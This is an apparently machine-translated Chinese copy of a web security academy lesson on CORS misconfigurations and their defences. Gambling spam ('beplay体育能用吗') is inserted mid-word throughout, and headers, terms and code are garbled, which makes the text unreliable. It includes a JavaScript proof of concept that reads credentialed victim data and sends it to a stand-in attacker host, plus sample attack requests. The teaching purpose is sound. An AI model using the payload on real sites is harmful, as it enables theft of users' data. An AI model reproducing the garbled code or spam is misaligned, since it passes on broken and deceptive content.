1. beplay体育能用吗网络安全学院
  2. 科尔斯

交叉原始资源共享(CORS)

在本节中,我们将解释哪些交叉原始资源共享(CORS)是什么,描述了基于跨原始资源共享攻击的一些常见示例,并讨论如何防止这些攻击。

什么是CORS(交叉原始资源共享)?

交叉原始资源共享(CORS)是一种浏览器机制,可以控制对定域外的资源的控制访问。它扩展并增加了相同原始政策的灵活性(SOP)。但是,如果网站的CORS策略配置不佳和实施,它还为跨域攻击提供了潜力。beplay体育能用吗CORS并不是防止交叉攻击的保护跨站点伪造(CSRF)。

科尔斯

相同的原始政策

相同的原始策略是一种限制性的交叉原始规范,该规范限制了网站与源域之外资源进行交互的能力。beplay体育能用吗多年前,相同的原始政策是针对潜在的恶意跨域互动的响应,例如一个网站从另一个网站窃取私人数据。beplay体育能用吗它通常允许域向其他域发布请求,但不能访问响应。

放松同基因政策

相同的原始政策非常限制,因此已经设计了各种方法来规避约束。许多网站以beplay体育能用吗需要完全交叉访问的方式与子域或第三方网站进行交互。使用交叉原始资源共享(CORS),可以对同一产卵策略进行受控的放松。

交叉原始资源共享协议使用的HTTP标头套件来定义受信任的Web起源和相关属性,例如是否允许身份验证的访问。beplay体育能用吗这些组合在浏览器和正在尝试访问的跨原始网站之间的标头交换中。beplay体育能用吗

CORS配置问题引起的漏洞

许多现代网站使用CORSbeplay体育能用吗允许从子域和受信任的第三方访问。他们的CORS实施可能包含错误或过于宽大,无法确保一切正常,这可能会导致可利用的漏洞。

服务器生成阿卡客户指定原始标头的标题

一些应用程序需要提供对许多其他域的访问权限。保持允许域的列表需要持续的努力,任何错误都可能破坏功能。因此,某些应用程序采取了轻松的有效允许从任何其他域中访问的途径。

做到这一点的一种方法是从请求中读取原始标题,并包括一个响应标头,指出允许请求的来源。例如,考虑接收以下请求的应用程序:

get/sensive-victim-data http/1.1主机:vilesnable-websitebeplay体育能用吗.com来源:https://malicious-website.com cookie:sessionid = ...

然后它回应:

http/1.1 200 OK Access-Control-Allow-Origin:https://malicious-wbeplay体育能用吗ebsite.com access-control-allow-credentials:true ...

这些标题指出,从请求域允许访问(恶意 - websbeplay体育能用吗ite.com)并且交叉原始请求可以包括cookie(访问控制 - 允许的信念:true),将进行课程处理。

因为应用程序反映了任意起源访问控制 - 允许原素标题,这意味着绝对任何域都可以从脆弱的域中访问资源。如果响应包含任何敏感信息,例如API密钥或CSRF令牌,您可以通过在网站上放置以下脚本来检索此内容:beplay体育能用吗

var req = new xmlhttprequest();req.onload = reqlistener;req.open('get',',https://vulnerablebeplay体育能用吗-website.com/sensistive-victim-data'C.true);req.withCredentials = true;req.send();函数reqlistener(){location ='// malicial-website.beplay体育能用吗com/log?key='+ this.responseText;};

错误解析起源标题

一些支持多个起源访问的应用程序通过使用允许起源的白名单来做到这一点。收到CORS请求后,将提供的来源与白名单进行了比较。如果原点出现在白名单上,则将其反映在访问控制 - 允许原素标题以便授予访问权限。例如,该应用程序收到一个普通请求,例如:

获取/数据http/1.1主机:normal-website.cbeplay体育能用吗om ...来源:https://innocent-website.com

该应用程序根据其允许起源列表检查所提供的原点,如果在列表中,则反映了原始原点,如下所示:

http/1.1 200好的...访问 - 控制 - 允许 - 孔:https://innocent-website.combeplay体育能用吗

在实施CORS起源白名单时通常会出现错误。一些组织决定允许从其所有子域中访问(包括尚未存在的未来子域)。一些应用程序允许从其他各种组织的域名访问其子域。这些规则通常是通过匹配URL前缀或后缀或使用正则表达式来实现的。实施中的任何错误都可以导致访问被授予意外的外部域。

例如,假设应用程序授予对所有结束的域的访问:

normal-beplay体育能用吗website.com

攻击者可能能够通过注册域来获得访问:

hackersnormal-beplay体育能用吗website.com

或者,假设应用程序授予对所有域的访问

normal-beplay体育能用吗website.com

攻击者可能能够使用该域获得访问:

normal-beplay体育能用吗website.com.evil-user.net

白名单的无原点值

原始标头的规范支持值无效的。浏览器可能会发送值无效的在各种不同寻常情况下的原始标题中:

  • 跨卵素重定向。
  • 序列化数据的请求。
  • 请求使用文件:协议。
  • 沙盒交叉原始请求。

某些申请可能是白名单无效的支持该应用程序的本地开发。例如,假设一个应用程序收到以下交叉原始请求:

get /sensive-victim-data主机:脆弱的website.com来源:beplay体育能用吗null

服务器响应:

http/1.1 200 OK访问控制 - 允许 - 原始:null Access-Control-Allow-Crendentials:true

在这种情况下,攻击者可以使用各种技巧来生成包含该值的交叉原始请求无效的在原点标题中。这将满足白名单,从而导致跨域通道。例如,可以使用沙箱完成此操作iframe表格的跨原始请求:

利用XSS通过CORS信任关系

即使是“正确”配置的COR,也建立了两个起源之间的信任关系。如果网站信beplay体育能用吗任容易遇到交叉脚本的来源(XSS),然后攻击者可以利用XSS注入一些JavaScript,该JavaScript使用CORS从信任脆弱应用程序的站点中检索敏感信息。

给出以下请求:

get/api/requestapikey http/1.1主机:vilesnable-websibeplay体育能用吗te.com来源:https://subdomain.vulnerable-website.com cookie:sessionid = ...

如果服务器响应:

http/1.1 200 OK Access-Control-Allow-Origin:https://subdomain.vulnerable-wbeplay体育能用吗ebsite.com access-control-allow-credentials:true

然后是在XSS上找到XSS漏洞的攻击者subdomain.vulnerable-beplay体育能用吗website.com可以使用它来检索API键,使用类似的URL:

https://subdomain.vulnerable-beplay体育能用吗website.com/?xss=

打破配置不佳的COR的TLS

假设严格使用HTTP的应用程序还使用普通HTTP的信任子域。例如,当应用程序收到以下请求时:

get/api/requestapikey http/1.1主机:vilesnable-websibeplay体育能用吗te.com来源:http://trusted-subdomain.vulnerable-website.com cookie:sessionid = ...

该应用程序响应:

http/1.1 200 OK Access-Control-Allow-Origin:http://trusted-subdomain.vulnerable-wbeplay体育能用吗ebsite.com access-control-allow-credentials:true

在这种情况下,有能力拦截受害者用户流量的攻击者可以利用CORS配置来损害受害者与应用程序的互动。此攻击涉及以下步骤:

  • 受害者用户提出任何简单的HTTP请求。
  • 攻击者将重定向注入:

    http://trusted-subdomain.vulnerable-beplay体育能用吗website.com
  • 受害人的浏览器跟随重定向。
  • 攻击者拦截了普通的HTTP请求,并返回包含CORS请求的欺骗响应:

    https://vulnerable-beplay体育能用吗website.com
  • 受害人的浏览器提出了CORS请求,包括原始:

    http://trusted-subdomain.vulnerable-beplay体育能用吗website.com
  • 该应用程序允许该请求,因为这是白名单起源。请求的敏感数据在响应中返回。
  • 攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制下的任何域。

即使弱势网站在其HTTPS的使用情况下否则,该攻击也是有效的,没有HTTP端点,并且所有cookbeplay体育能用吗ie都被标记为安全。

Interanet和CORS没有凭证

大多数CORS攻击都取决于响应标头的存在:

访问控制 - 允许的信念:true

如果没有该标题,受害者用户的浏览器将拒绝发送其cookie,这意味着攻击者只会访问未经身心的内容,通过直接浏览到目标网站,他们可以轻松访问这些内容。beplay体育能用吗

但是,在一个常见的情况下,攻击者无法直接访问网站:当它属于组织的内部网络,并且位于私人IP地址空间中。beplay体育能用吗内部网站通常比外部beplay体育能用吗站点保持较低的安全标准,从而使攻击者能够找到漏洞并获得进一步的访问权限。例如,专用网络中的交叉原始请求可能如下:

get/reader?url=doc1.pdf主机:intranet.normal-websibeplay体育能用吗te.com起源:https://normal-website.com

服务器响应:

HTTP/1.1 200 OK Access-Control-Allow-Origin: *

该应用程序服务器正在信任来自任何原点的资源请求,而无需凭据。如果专用IP地址空间中的用户访问公共Internet,则可以从外部站点进行基于CORS的攻击,该站点使用受害人的浏览器作为访问Intranet资源的代理。

如何防止基于COR的攻击

CORS脆弱性主要作为错误的配置。因此,预防是一个配置问题。以下各节描述了对CORS攻击的一些有效防御。

正确配置交叉原始请求

如果Webbeplay体育能用吗资源包含敏感信息,则应在访问控制 - 允许原素标题。

仅允许值得信赖的网站

这似乎很明显,但起源于访问控制 - 允许原素标题应仅是值得信赖的站点。特别是,在没有验证的交叉原始请求中动态反映起源很容易利用,应避免。

避免白名单为空

避免使用标题访问控制 - 允许孔:null。内部文档和沙盒请求的交叉原始资源调用可以指定无效的起源。CORS标题应针对私人和公共服务器的可信赖起源进行正确定义。

避免内部网络中的通配符

避免在内部网络中使用通配符。当内部浏览器可以访问不信任的外部域时,仅靠信任网络配置来保护内部资源就不够。

CORS不能代替服务器端安全策略

CORS定义了浏览器的行为,并且永远不会替代服务器端对敏感数据的保护 - 攻击者可以直接从任何受信任的来源中提出请求。因此,除正确配置的CObeplay体育能用吗R外,Web服务器还应继续对敏感数据(例如身份验证和会话管理)应用保护。

免费注册以跟踪您的学习进度

通过Portswigger的网络安全学院工作的好处beplay官网可以赌beplay体育能用吗
  • 练习在现实目标上利用漏洞。

  • 记录您从学徒到专家的发展。

  • 看看您在我们的名人堂中排名。

已经有一个帐户?在此登录